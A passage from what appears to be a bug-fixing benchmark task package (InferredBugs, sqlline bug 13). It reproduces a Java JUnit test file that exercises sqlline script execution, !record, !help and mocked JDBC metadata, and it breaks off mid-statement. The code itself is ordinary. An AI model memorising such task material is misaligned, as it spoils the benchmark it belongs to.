+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8132/instruction.md b/inferredbugs-8132/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1b94597532cbd5c0dcd9175d4c2da55acd521b51
--- /dev/null
+++ b/inferredbugs-8132/instruction.md
@@ -0,0 +1,2662 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sqlline
+**Bug ID:** 13
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+// Licensed to Julian Hyde under one or more contributor license
+// agreements. See the NOTICE file distributed with this work for
+// additional information regarding copyright ownership.
+//
+// Julian Hyde licenses this file to you under the Modified BSD License
+// (the "License"); you may not use this file except in compliance with
+// the License. You may obtain a copy of the License at:
+//
+// http://opensource.org/licenses/BSD-3-Clause
+*/
+package sqlline;
+
+import java.io.*;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.sql.DatabaseMetaData;
+import java.sql.SQLException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.List;
+import java.util.TreeSet;
+import java.util.stream.Collectors;
+
+import org.h2.util.StringUtils;
+import org.hamcrest.BaseMatcher;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.Description;
+import org.hamcrest.Matcher;
+import org.hsqldb.jdbc.CustomDatabaseMetadata;
+import org.hsqldb.jdbc.JDBCConnection;
+import org.hsqldb.jdbc.JDBCDatabaseMetaData;
+import org.hsqldb.jdbc.JDBCResultSet;
+import org.hsqldb.jdbc.JDBCResultSetMetaData;
+import org.jline.builtins.Commands;
+import org.jline.terminal.Terminal;
+import org.junit.jupiter.api.Test;
+
+import mockit.Expectations;
+import mockit.Mock;
+import mockit.MockUp;
+import mockit.Mocked;
+import mockit.internal.reflection.FieldReflection;
+import net.hydromatic.scott.data.hsqldb.ScottHsqldb;
+import sqlline.extensions.CustomApplication;
+
+import static org.hamcrest.CoreMatchers.*;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * Executes tests of the command-line arguments to SqlLine.
+ */
+public class SqlLineArgsTest {
+  private static final ConnectionSpec CONNECTION_SPEC = ConnectionSpec.HSQLDB;
+  private ConnectionSpec connectionSpec;
+
+  public SqlLineArgsTest() {
+    connectionSpec = CONNECTION_SPEC;
+  }
+
+  static SqlLine.Status begin(SqlLine sqlLine, OutputStream os,
+      boolean saveHistory, String... args) {
+    try {
+      PrintStream beelineOutputStream = getPrintStream(os);
+      sqlLine.setOutputStream(beelineOutputStream);
+      sqlLine.setErrorStream(beelineOutputStream);
+      final InputStream is = new ByteArrayInputStream(new byte[0]);
+      return sqlLine.begin(args, is, saveHistory);
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /**
+   * Execute a script with "beeline -f".
+   *
+   * @return The stderr and stdout from running the script
+   * @param args Script arguments
+   */
+  private static Pair run(String... args) {
+    try {
+      SqlLine beeLine = new SqlLine();
+      ByteArrayOutputStream os = new ByteArrayOutputStream();
+      SqlLine.Status status = begin(beeLine, os, false, args);
+      return new Pair(status, os.toString("UTF8"));
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  private Pair runScript(File scriptFile, boolean flag, String outputFileName) {
+    return runScript(connectionSpec, scriptFile, flag, outputFileName);
+  }
+
+  private static Pair runScript(ConnectionSpec connectionSpec, File scriptFile,
+      boolean flag, String outputFileName) {
+    List<String> args = new ArrayList<>();
+    Collections.addAll(args,
+        "-d", connectionSpec.driver,
+        "-u", connectionSpec.url,
+        "-n", connectionSpec.username,
+        "-p", connectionSpec.password);
+    if (flag) {
+      args.add("-f");
+      args.add(scriptFile.getAbsolutePath());
+    } else {
+      args.add("--run=" + scriptFile.getAbsolutePath());
+    }
+    if (outputFileName != null) {
+      args.add("-log");
+      args.add(outputFileName);
+    }
+    return run(args.toArray(new String[0]));
+  }
+
+  /**
+   * Attempts to execute a simple script file with the -f option to SqlLine.
+   * Tests for presence of an expected pattern in the output (stdout or stderr).
+   *
+   * @param scriptText    Script text
+   * @param flag          Command flag (--run or -f)
+   * @param statusMatcher Checks whether status is as expected
+   * @param outputMatcher Checks whether output is as expected
+   */
+  private void checkScriptFile(String scriptText, boolean flag,
+      Matcher<SqlLine.Status> statusMatcher,
+      Matcher<String> outputMatcher) {
+    try {
+      // Put the script content in a temp file
+      File scriptFile = createTempFile("foo", "temp");
+      PrintStream os =
+          new PrintStream(
+              new FileOutputStream(scriptFile),
+              false,
+              StandardCharsets.UTF_8.name());
+      os.print(scriptText);
+      os.close();
+
+      Pair pair = runScript(scriptFile, flag, null);
+
+      // Check output before status. It gives a better clue what went wrong.
+      assertThat(toLinux(pair.output), outputMatcher);
+      assertThat(pair.status, statusMatcher);
+      final boolean delete = scriptFile.delete();
+      assertThat(delete, is(true));
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /** Windows line separators in a string into Linux line separators;
+   * a Linux string is unchanged. */
+  private static String toLinux(String s) {
+    return s.replaceAll("\r\n", "\n");
+  }
+
+  private File createTempFile(String prefix, String suffix) {
+    return createTempFile(prefix, suffix, null);
+  }
+
+  private File createTempFile(String prefix, String suffix, Path directory) {
+    try {
+      final File file = directory == null
+          ? Files.createTempFile(prefix, suffix).toFile()
+          : Files.createTempFile(directory, prefix, suffix).toFile();
+      file.deleteOnExit();
+      return file;
+    } catch (IOException e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testMultilineScriptWithComments() {
+    final String script1Text =
+        "!set incremental true\n"
+        + "-- a comment  \n values\n--comment\n (\n1\n, ' ab'\n--comment\n)\n;\n";
+
+    checkScriptFile(script1Text, true,
+        equalTo(SqlLine.Status.OK),
+        containsString("+-------------+-----+\n"
+            + "|     C1      | C2  |\n"
+            + "+-------------+-----+\n"
+            + "| 1           |  ab |\n"
+            + "+-------------+-----+"));
+
+    final String script2Text =
+        "!set incremental true\n"
+        + "--comment \n --comment2 \nvalues (';\n' /* comment */, '\"'"
+        + "/*multiline;\n ;\n comment*/)\n -- ; \n; -- comment";
+
+    checkScriptFile(script2Text, true,
+        equalTo(SqlLine.Status.OK),
+        containsString("+-----+----+\n"
+            + "| C1  | C2 |\n"
+            + "+-----+----+\n"
+            + "| ; \n"
+            + " | \"  |\n"
+            + "+-----+----+"));
+  }
+
+  /**
+   * Attempt to execute a simple script file with the -f option to SqlLine.
+   * Test for presence of an expected pattern
+   * in the output (stdout or stderr), fail if not found.
+   */
+  @Test
+  public void testPositiveScriptFile() {
+    checkScriptFile("call 100 + 23;\n",
+        true,
+        equalTo(SqlLine.Status.OK),
+        containsString(" 123 "));
+  }
+
+  /**
+   * As above, but using '-run' rather than '-f'.
+   */
+  @Test
+  public void testPositiveScriptFileUsingRun() {
+    checkScriptFile("call 100 + 23;\n",
+        false,
+        equalTo(SqlLine.Status.OK),
+        containsString(" 123 "));
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/42">[SQLLINE-42],
+   * Script fails if first line is a comment</a>.
+   */
+  @Test
+  public void testScriptFileStartsWithComment() {
+    final String scriptText = "-- a comment\n"
+        + "call 100 + 23;\n";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        containsString(" 123 "));
+  }
+
+  @Test
+  public void testScriptFileStartsWithEmptyLine() {
+    final String scriptText = "\n"
+        + "call 100 + 23;\n";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        containsString(" 123 "));
+  }
+
+  @Test
+  public void testScriptFileContainsComment() {
+    final String scriptText = "values 10 + 23;\n"
+        + "-- a comment\n"
+        + "values 100 + 23";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        allOf(containsString(" 33 "), containsString(" 123 ")));
+  }
+
+  @Test
+  public void testMultilineScriptFileWithComments() {
+    final String scriptText = "--comment\n\n"
+        + "values \n10 \n+ \n23;\n\n\n"
+        + "-- a comment\n"
+        + "\n\nvalues "
+            + "--comment inside\n\n"
+            + "100 --comment inside\n\n"
+            + "+ \n\n23\n\n\n;\n\n\n\n";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        allOf(containsString(" 33 "), containsString(" 123 ")));
+  }
+
+  @Test
+  public void testMultilineScriptFileWithMultilineQuotedStrings() {
+    final String scriptText = "--comment\n\n"
+        + "values '\nmultiline;\n;\n; string\n'"
+        + ";\n\n\n"
+        + "values '\nmultiline2;\n;\n; string2\n'"
+        + ";\n\n\n";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        allOf(containsString("multiline2;"), containsString("; string2")));
+  }
+
+  @Test
+  public void testScriptWithMultilineStatementsInARow() {
+    final String scriptText = "!set incremental false\n"
+        + "--comment\n\n"
+        + "values 1;values 2;";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        allOf(
+            containsString("+----+\n"
+                + "| C1 |\n"
+                + "+----+\n"
+                + "| 1  |\n"
+                + "+----+"),
+            containsString("+----+\n"
+                + "| C1 |\n"
+                + "+----+\n"
+                + "| 2  |\n"
+                + "+----+")));
+  }
+
+  @Test
+  public void testScriptWithMultilineStatementsAndCommentsInARow() {
+    final String scriptText = "!set incremental false\n"
+        + "--comment;;\n\n"
+        + "select * from (values ';') t (\";\");/*;select 1;*/values 2;";
+    checkScriptFile(scriptText, true,
+        equalTo(SqlLine.Status.OK),
+        allOf(
+            containsString("+---+\n"
+                + "| ; |\n"
+                + "+---+\n"
+                + "| ; |\n"
+                + "+---+"),
+            containsString("+----+\n"
+                + "| C1 |\n"
+                + "+----+\n"
+                + "| 2  |\n"
+                + "+----+")));
+  }
+  /**
+   * Tests sql with H2 specific one-line comment '//'
+   */
+  @Test
+  public void testMultilineScriptWithH2Comments() {
+    final SqlLine sqlLine = new SqlLine();
+    try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+      final File tmpHistoryFile = createTempFile("queryToExecute", "temp");
+      try (BufferedWriter bw =
+               new BufferedWriter(
+                   new OutputStreamWriter(new FileOutputStream(tmpHistoryFile),
+                       StandardCharsets.UTF_8))) {
+        final String script = "\n"
+            + "\n"
+            + "!set incremental true\n"
+            + "\n"
+            + "\n"
+            + "select * from information_schema.tables// ';\n"
+            + "// \";"
+            + ";\n"
+            + "\n"
+            + "\n";
+        bw.write(script);
+        bw.flush();
+      }
+      SqlLine.Status status =
+          begin(sqlLine, os, false,
+              "-u", ConnectionSpec.H2.url,
+              "-n", ConnectionSpec.H2.username,
+              "--run=" + tmpHistoryFile.getAbsolutePath());
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      String output = os.toString("UTF8");
+      final String expected = "| TABLE_CATALOG | TABLE_SCHEMA |"
+          + " TABLE_NAME | TABLE_TYPE | STORAGE_TYPE | SQL  |";
+      assertThat(output, containsString(expected));
+      sqlLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(sqlLine.isExit());
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /** Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/72">[SQLLINE-72]
+   * Allow quoted file names (including spaces) in <code>!record</code>,
+   * <code>!run</code> and <code>!script</code> commands</a>. */
+  @Test
+  public void testScriptFilenameWithSpace() {
+    final String scriptText = "values 10 + 23;\n"
+        + "-- a comment\n"
+        + "values 100 + 23;\n";
+    File scriptFile = createTempFile("Script with Spaces", ".sql");
+    try (PrintStream os = getPrintStream(new FileOutputStream(scriptFile))) {
+      os.print(scriptText);
+
+      Pair pair = runScript(scriptFile, true, null);
+      assertThat(pair.status, equalTo(SqlLine.Status.OK));
+      assertThat(pair.output,
+          allOf(containsString(" 33 "), containsString(" 123 ")));
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testScriptWithOutput() {
+    final String scriptText = "!set maxcolumnwidth 20\n"
+        + "!set incremental true\n"
+        + "values 100 + 123;\n"
+        + "-- a comment\n"
+        + "values 100 + 253;\n";
+
+    File scriptFile = createTempFile("Script file name", ".sql");
+    try (PrintStream os = getPrintStream(new FileOutputStream(scriptFile))) {
+      os.print(scriptText);
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+
+    File outputFile = createTempFile("testScriptWithOutput", ".out");
+    runScript(scriptFile, true, outputFile.getAbsolutePath());
+    assertFileContains(outputFile,
+        allOf(containsString("| 223                  |"),
+            containsString("| 353                  |")));
+    final boolean delete = outputFile.delete();
+    assertThat(delete, is(true));
+  }
+
+  /**
+   * Values that contain null.
+   */
+  @Test
+  public void testNull() {
+    final String script = "!set incremental true\n"
+        + "values (1, cast(null as integer), cast(null as varchar(3)));\n";
+    checkScriptFile(script, false,
+        equalTo(SqlLine.Status.OK),
+        containsString(
+            "+-------------+-------------+-----+\n"
+            + "|     C1      |     C2      | C3  |\n"
+            + "+-------------+-------------+-----+\n"
+            + "| 1           | null        |     |\n"
+            + "+-------------+-------------+-----+\n"));
+  }
+
+  @Test
+  public void testScan() {
+    final String expectedLine0 = "Compliant Version Driver Class";
+    final String expectedLine1 = "yes       2.4     org.hsqldb.jdbc.JDBCDriver";
+    checkScriptFile("!scan\n", false,
+        equalTo(SqlLine.Status.OK),
+        allOf(containsString(expectedLine0), containsString(expectedLine1)));
+  }
+
+  /**
+   * Table output without header.
+   */
+  @Test
+  public void testTableOutputNullWithoutHeader() {
+    final String script = "!set showHeader false\n"
+        + "!set incremental true\n"
+        + "values (1, cast(null as integer), cast(null as varchar(3)));\n";
+    checkScriptFile(script, false,
+        equalTo(SqlLine.Status.OK),
+        containsString("| 1           | null        |     |\n"));
+  }
+
+  /**
+   * Csv output without header.
+   */
+  @Test
+  public void testCsvNullWithoutHeader() {
+    final String script = "!set showHeader false\n"
+        + "!set outputformat csv\n"
+        + "values (1, cast(null as integer), cast(null as varchar(3)));\n";
+    checkScriptFile(script, false,
+        equalTo(SqlLine.Status.OK),
+        containsString("'1','null',''\n"));
+  }
+
+  /**
+   * Tests the "close" command,
+   * <a href="https://issues.apache.org/jira/browse/HIVE-5768">[HIVE-5768]
+   * Beeline connection cannot be closed with '!close' command</a> and
+   * <a href="https://github.com/julianhyde/sqlline/issues/139">[SQLLINE-139]
+   * Look for the exact match if there are multiple matches</a>.
+   */
+  @Test
+  public void testClose() {
+    final String expected = "!close\n"
+        + "Closing: org.hsqldb.jdbc.JDBCConnection";
+    checkScriptFile("!close\n", false, equalTo(SqlLine.Status.OK),
+        containsString(expected));
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/32">[SQLLINE-32]
+   * !help set' should print documentation for all variables</a>.
+   */
+  @Test
+  public void testHelpSet() {
+    final String expected = "1/1          !help set\n"
+        + "!set                List / set a sqlline variable\n"
+        + "\n"
+        + "Variables:\n"
+        + "\n"
+        + "Variable        Value      Description\n"
+        + "=============== ========== "
+        + "==================================================\n"
+        + "autoCommit      true/false "
+        + "Enable/disable automatic transaction commit\n"
+        + "autoSave        true/false Automatically save preferences\n";
+    checkScriptFile("!help set\n", false, equalTo(SqlLine.Status.OK),
+        containsString(expected));
+
+    // Make sure that each variable (autoCommit, autoSave, color, etc.) has a
+    // line in the output of '!help set'
+    final SqlLine sqlLine = new SqlLine();
+    String help = sqlLine.loc("help-set")
+        + sqlLine.loc("variables");
+
+    final TreeSet<String> propertyNamesMixed =
+        Arrays.stream(BuiltInProperty.values())
+            .map(BuiltInProperty::propertyName)
+            .collect(Collectors.toCollection(TreeSet::new));
+    for (String p : propertyNamesMixed) {
+      assertThat(help, containsString("\n" + p + " "));
+    }
+    assertThat(propertyNamesMixed.contains("autoCommit"),
+        is(true));
+    assertThat(propertyNamesMixed.contains("autocommit"),
+        is(false));
+    assertThat(propertyNamesMixed.contains("trimScripts"),
+        is(true));
+
+    while (help.length() > 0) {
+      int i = help.indexOf("\n", 1);
+      if (i < 0) {
+        break;
+      }
+      if (i > 78) {
+        fail("line exceeds 78 chars: " + i + ": " + help.substring(0, i));
+      }
+      help = help.substring(i);
+    }
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/39">[SQLLINE-39]
+   * 'help set' should not break long lines</a>.
+   *
+   * <p>But it should break 'help all', which consists of a single long line.
+   */
+  @Test
+  public void testHelpAll() {
+    // Note that "connections" has been broken onto a new line.
+    final String expected = "1/1          !help all\n"
+        + "!all                Execute the specified SQL against all the current\n"
+        + "                    connections\n"
+        + "Closing: org.hsqldb.jdbc.JDBCConnection\n"
+        + "sqlline version ???\n";
+    checkScriptFile("!help all\n", false, equalTo(SqlLine.Status.OK),
+        is(expected));
+  }
+
+  /**
+   * Tests "!go &lt;non-existent connection indexes&gt;".
+   */
+  @Test
+  public void testGoFailing() {
+    final String[] connectionIndexes = {"321", "invalid"};
+    for (String connectionIndex : connectionIndexes) {
+      final String script = "!go " + connectionIndex + "\n";
+      final String expected = "Invalid connection: " + connectionIndex;
+      checkScriptFile(script, false,
+          // Status.OTHER as checking of fail cases
+          equalTo(SqlLine.Status.OTHER), containsString(expected));
+    }
+  }
+
+  /**
+   * Tests "!help go". "go" and "#" are synonyms.
+   */
+  @Test
+  public void testHelpGo() {
+    for (String c : new String[] {"go", "#"}) {
+      final String expected = "1/1          !help " + c + "\n"
+          + "!go                 Select the current connection\n"
+          + "Closing: org.hsqldb.jdbc.JDBCConnection\n"
+          + "sqlline version ???\n";
+      checkScriptFile("!help " + c + "\n", false, equalTo(SqlLine.Status.OK),
+          is(expected));
+    }
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/121">!?, !#
+   * and other one-symbol length commands stopped working</a>
+   *
+   * <p>'!?' should work in the same way as '!help'.
+   */
+  @Test
+  public void testHelpAsQuestionMark() {
+    final String script = "!?\n";
+    final String expected =
+        "!autocommit         Set autocommit mode on or off";
+    checkScriptFile(script, false,
+        equalTo(SqlLine.Status.OK),
+        allOf(not(containsString("Unknown command: ?")),
+            containsString(expected)));
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/49">[SQLLINE-49]
+   * !manual command fails</a>.
+   */
+  @Test
+  public void testManual() {
+    final String expectedLine = "sqlline version";
+    try (ByteArrayOutputStream baos = new ByteArrayOutputStream()) {
+      new MockUp<Commands>() {
+        @Mock
+        void less(Terminal terminal, InputStream in, PrintStream out,
+            PrintStream err, Path currentDir, String[] argv) {
+        }
+      };
+
+      SqlLine beeLine = new SqlLine();
+      SqlLine.Status status =
+          begin(beeLine, baos, false, "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      beeLine.runCommands(new DispatchCallback(), "!manual");
+      String output = baos.toString("UTF8");
+
+      assertThat(output, containsString(expectedLine));
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /** Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/38">[SQLLINE-38]
+   * Expand ~ to user's home directory</a>. */
+  @Test
+  public void testRunFromHome() {
+    try {
+      Path tmpDir =
+          Files.createTempDirectory(
+              Paths.get(System.getProperty("user.home")),
+              "tmpdir" + System.nanoTime());
+      tmpDir.toFile().deleteOnExit();
+
+      File tmpFile = createTempFile("test", ".sql", tmpDir);
+      try (Writer fw = new OutputStreamWriter(
+          new FileOutputStream(tmpFile), StandardCharsets.UTF_8)) {
+        fw.write("!set outputformat csv\n");
+        fw.write("values (1, 2, 3, 4, 5);");
+        fw.flush();
+        checkScriptFile("!run ~" + File.separatorChar
+                + tmpDir.getFileName()
+                + File.separatorChar + tmpFile.getName().toString(),
+            false,
+            equalTo(SqlLine.Status.OK),
+            allOf(containsString("!set outputformat csv"),
+                containsString("values (1, 2, 3, 4, 5);")));
+      }
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/26">[SQLLINE-26]
+   * Flush output for each command when using !record command</a>.
+   */
+  @Test
+  public void testRecord() {
+    File file = createTempFile("sqlline", ".log");
+    final String script = "!set incremental true\n"
+        + "values 1;\n"
+        + "!record " + file.getAbsolutePath() + "\n"
+        + "!set outputformat csv\n"
+        + "values 2;\n"
+        + "!record\n"
+        + "!set outputformat csv\n"
+        + "values 3;\n";
+    checkScriptFile(script, false,
+        equalTo(SqlLine.Status.OK),
+        RegexMatcher.of("(?s)1/8          !set incremental true\n"
+                + "2/8          values 1;\n"
+                + "\\+-------------\\+\n"
+                + "\\|     C1      \\|\n"
+                + "\\+-------------\\+\n"
+                + "\\| 1           \\|\n"
+                + "\\+-------------\\+\n"
+                + "1 row selected \\([0-9.,]+ seconds\\)\n"
+                + "3/8          !record .*.log\n"
+                + "Saving all output to \".*.log\". Enter \"record\" with no arguments to stop it.\n"
+                + "4/8          !set outputformat csv\n"
+                + "5/8          values 2;\n"
+                + "'C1'\n"
+                + "'2'\n"
+                + "1 row selected \\([0-9.,]+ seconds\\)\n"
+                + "6/8          !record\n"
+                + "Recording stopped.\n"
+                + "7/8          !set outputformat csv\n"
+                + "8/8          values 3;\n"
+                + "'C1'\n"
+                + "'3'\n"
+                + "1 row selected \\([0-9.,]+ seconds\\)\n.*"));
+
+    // Now check that the right stuff got into the file.
+    assertFileContains(file,
+        RegexMatcher.of("Saving all output to \".*.log\". "
+            + "Enter \"record\" with no arguments to stop it.\n"
+            + "4/8          !set outputformat csv\n"
+            + "5/8          values 2;\n"
+            + "'C1'\n"
+            + "'2'\n"
+            + "1 row selected \\([0-9.,]+ seconds\\)\n"
+            + "6/8          !record\n"));
+  }
+
+  /** Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/62">[SQLLINE-62]
+   * Expand ~ to user's home directory</a>. */
+  @Test
+  public void testRecordHome() {
+    File home = new File(System.getProperty("user.home"));
+    File file;
+    for (int i = 0;; i++) {
+      file = new File(home, "sqlline" + i + ".log");
+      if (!file.exists()) {
+        break;
+      }
+    }
+    file.deleteOnExit();
+    final String s = "Saving all output to \".*.log\". "
+        + "Enter \"record\" with no arguments to stop it.\n"
+        + "2/4          !set outputformat csv\n"
+        + "3/4          values 2;\n"
+        + "'C1'\n"
+        + "'2'\n"
+        + "1 row selected \\([0-9.,]+ seconds\\)\n"
+        + "4/4          !record\n";
+    checkScriptFile("!record " + file.getAbsolutePath() + "\n"
+            + "!set outputformat csv\n"
+            + "values 2;\n"
+            + "!record\n",
+        false,
+        equalTo(SqlLine.Status.OK),
+        RegexMatcher.of("(?s)1/4          !record .*.log\n"
+            + s
+            + "Recording stopped.\n"
+            + ".*"));
+
+    // Now check that the right stuff got into the file.
+    assertFileContains(file, RegexMatcher.of(s));
+    final boolean delete = file.delete();
+    assertThat(delete, is(true));
+  }
+
+  /**
+   * As {@link #testRecord()}, but file name is double-quoted and contains a
+   * space.
+   */
+  @Test
+  public void testRecordFilenameWithSpace() {
+    File file = createTempFile("sqlline file with spaces", ".log");
+    final String script = "!set incremental true\n"
+        + "values 1;\n"
+        + "!record " + file.getAbsolutePath() + "\n"
+        + "!set outputformat csv\n"
+        + "values 2;\n"
+        + "!record\n"
+        + "!set outputformat csv\n"
+        + "values 3;\n";
+    checkScriptFile(script, false,
+        equalTo(SqlLine.Status.OK),
+        RegexMatcher.of("(?s)1/8          !set incremental true\n"
+            + "2/8          values 1;\n"
+            + "\\+-------------\\+\n"
+            + "\\|     C1      \\|\n"
+            + "\\+-------------\\+\n"
+            + "\\| 1           \\|\n"
+            + "\\+-------------\\+\n"
+            + "1 row selected \\([0-9.,]+ seconds\\)\n"
+            + "3/8          !record .*.log\n"
+            + "Saving all output to \".*.log\". Enter \"record\" with no arguments to stop it.\n"
+            + "4/8          !set outputformat csv\n"
+            + "5/8          values 2;\n"
+            + "'C1'\n"
+            + "'2'\n"
+            + "1 row selected \\([0-9.,]+ seconds\\)\n"
+            + "6/8          !record\n"
+            + "Recording stopped.\n"
+            + "7/8          !set outputformat csv\n"
+            + "8/8          values 3;\n"
+            + "'C1'\n"
+            + "'3'\n"
+            + "1 row selected \\([0-9.,]+ seconds\\)\n.*"));
+
+    // Now check that the right stuff got into the file.
+    assertFileContains(file,
+        RegexMatcher.of("Saving all output to \".*.log\". "
+            + "Enter \"record\" with no arguments to stop it.\n"
+            + "4/8          !set outputformat csv\n"
+            + "5/8          values 2;\n"
+            + "'C1'\n"
+            + "'2'\n"
+            + "1 row selected \\([0-9.,]+ seconds\\)\n"
+            + "6/8          !record\n"));
+  }
+
+  private static void assertFileContains(File file, Matcher<String> matcher) {
+    try (BufferedReader br = new BufferedReader(
+        new InputStreamReader(new FileInputStream(file),
+            StandardCharsets.UTF_8.name()))) {
+      final StringWriter stringWriter = new StringWriter();
+      for (;;) {
+        final String line = br.readLine();
+        if (line == null) {
+          break;
+        }
+        stringWriter.write(line);
+        stringWriter.write("\n");
+      }
+      assertThat(toLinux(stringWriter.toString()), matcher);
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/61">[SQLLINE-61]
+   * Add !nickname command</a>.
+   */
+  @Test
+  public void testNickname() {
+    final String script = "!set outputformat csv\n"
+        + "values 1;\n"
+        + "!nickname foo\n"
+        + "values 2;\n";
+    final String expected = "(?s)1/4          !set outputformat csv\n"
+        + "2/4          values 1;\n"
+        + "'C1'\n"
+        + "'1'\n"
+        + "1 row selected \\([0-9.,]+ seconds\\)\n"
+        + "3/4          !nickname foo\n"
+        + "4/4          values 2;\n"
+        + "'C1'\n"
+        + "'2'\n"
+        + "1 row selected \\([0-9.,]+ seconds\\)\n.*";
+    checkScriptFile(script, false, equalTo(SqlLine.Status.OK),
+        RegexMatcher.of(expected));
+  }
+
+  /**
+   * Attempts to execute a simple script file with the -f option to SqlLine.
+   * The first command should fail and the second command should not execute.
+   */
+  @Test
+  public void testBreakOnErrorScriptFile() {
+    checkScriptFile("select * from abcdefg01;\ncall 100 + 23;\n",
+        true,
+        equalTo(SqlLine.Status.OTHER),
+        not(containsString(" 123 ")));
+  }
+
+  /**
+   * Emulation of Apache Hive behavior with throwing exceptions
+   * while calling {@link DatabaseMetaData#storesUpperCaseIdentifiers()}
+   * and {@link DatabaseMetaData#supportsTransactionIsolationLevel(int)}.
+   *
+   * <p>Also please see
+   * <a href="https://github.com/julianhyde/sqlline/issues/183">[SQLLINE-183]</a>.
+   *
+   * @param meta Mocked JDBCDatabaseMetaData
+   */
+  @Test
+  public void testExecutionWithNotSupportedMethods(
+      @Mocked final JDBCDatabaseMetaData meta) {
+    try {
+      new Expectations() {
+        {
+          // prevent calls to functions that also call resultSet.next
+          meta.getDatabaseProductName();
+          result = "hsqldb";
+          // prevent calls to functions that also call resultSet.next
+          meta.getDatabaseProductVersion();
+          result = "1.0";
+
+          // emulate apache hive behavior
+          meta.supportsTransactionIsolationLevel(4);
+          result = new SQLException("Method not supported");
+        }
+      };
+      SqlLine sqlLine = new SqlLine();
+      ByteArrayOutputStream os = new ByteArrayOutputStream();
+      PrintStream sqllineOutputStream =
+          new PrintStream(os, false, StandardCharsets.UTF_8.name());
+      sqlLine.setOutputStream(sqllineOutputStream);
+      sqlLine.setErrorStream(sqllineOutputStream);
+      String[] args = {
+          "-d",
+          "org.hsqldb.jdbcDriver",
+          "-u",
+          "jdbc:hsqldb:res:scott",
+          "-n",
+          "SCOTT",
+          "-p",
+          "TIGER"
+      };
+      DispatchCallback dc = new DispatchCallback();
+      sqlLine.initArgs(args, dc);
+      os.reset();
+      sqlLine.runCommands(dc,
+          "!set incremental true",
+          "values 1;");
+      final String output = os.toString("UTF8");
+      final String line0 = "+-------------+";
+      final String line1 = "|     C1      |";
+      final String line2 = "+-------------+";
+      final String line3 = "| 1           |";
+      final String line4 = "+-------------+";
+      assertThat(output,
+          CoreMatchers.allOf(containsString(line0),
+              containsString(line1),
+              containsString(line2),
+              containsString(line3),
+              containsString(line4)));
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  @Test
+  public void testExecutionException(@Mocked final JDBCDatabaseMetaData meta,
+      @Mocked final JDBCResultSet resultSet) {
+    try {
+      new Expectations() {
+        {
+          // prevent calls to functions that also call resultSet.next
+          meta.getDatabaseProductName();
+          result = "hsqldb";
+          // prevent calls to functions that also call resultSet.next
+          meta.getSQLKeywords();
+          result = "";
+          // prevent calls to functions that also call resultSet.next
+          meta.getDatabaseProductVersion();
+          result = "1.0";
+          // Generate an exception on a call to resultSet.next
+          resultSet.next();
+          result = new SQLException("Generated Exception.");
+        }
+      };
+      SqlLine sqlLine = new SqlLine();
+      ByteArrayOutputStream os = new ByteArrayOutputStream();
+      PrintStream sqllineOutputStream =
+          new PrintStream(os, false, StandardCharsets.UTF_8.name());
+      sqlLine.setOutputStream(sqllineOutputStream);
+      sqlLine.setErrorStream(sqllineOutputStream);
+      String[] args = {
+          "-d",
+          "org.hsqldb.jdbcDriver",
+          "-u",
+          "jdbc:hsqldb:res:scott",
+          "-n",
+          "SCOTT",
+          "-p",
+          "TIGER"
+      };
+      DispatchCallback callback = new DispatchCallback();
+      sqlLine.initArgs(args, callback);
+      // If sqlline is not initialized, handleSQLException will print
+      // the entire stack trace.
+      // To prevent that, forcibly set init to true.
+      FieldReflection.setFieldValue(
+          sqlLine.getClass().getDeclaredField("initComplete"), sqlLine, true);
+      sqlLine.getConnection();
+      sqlLine.runCommands(callback,
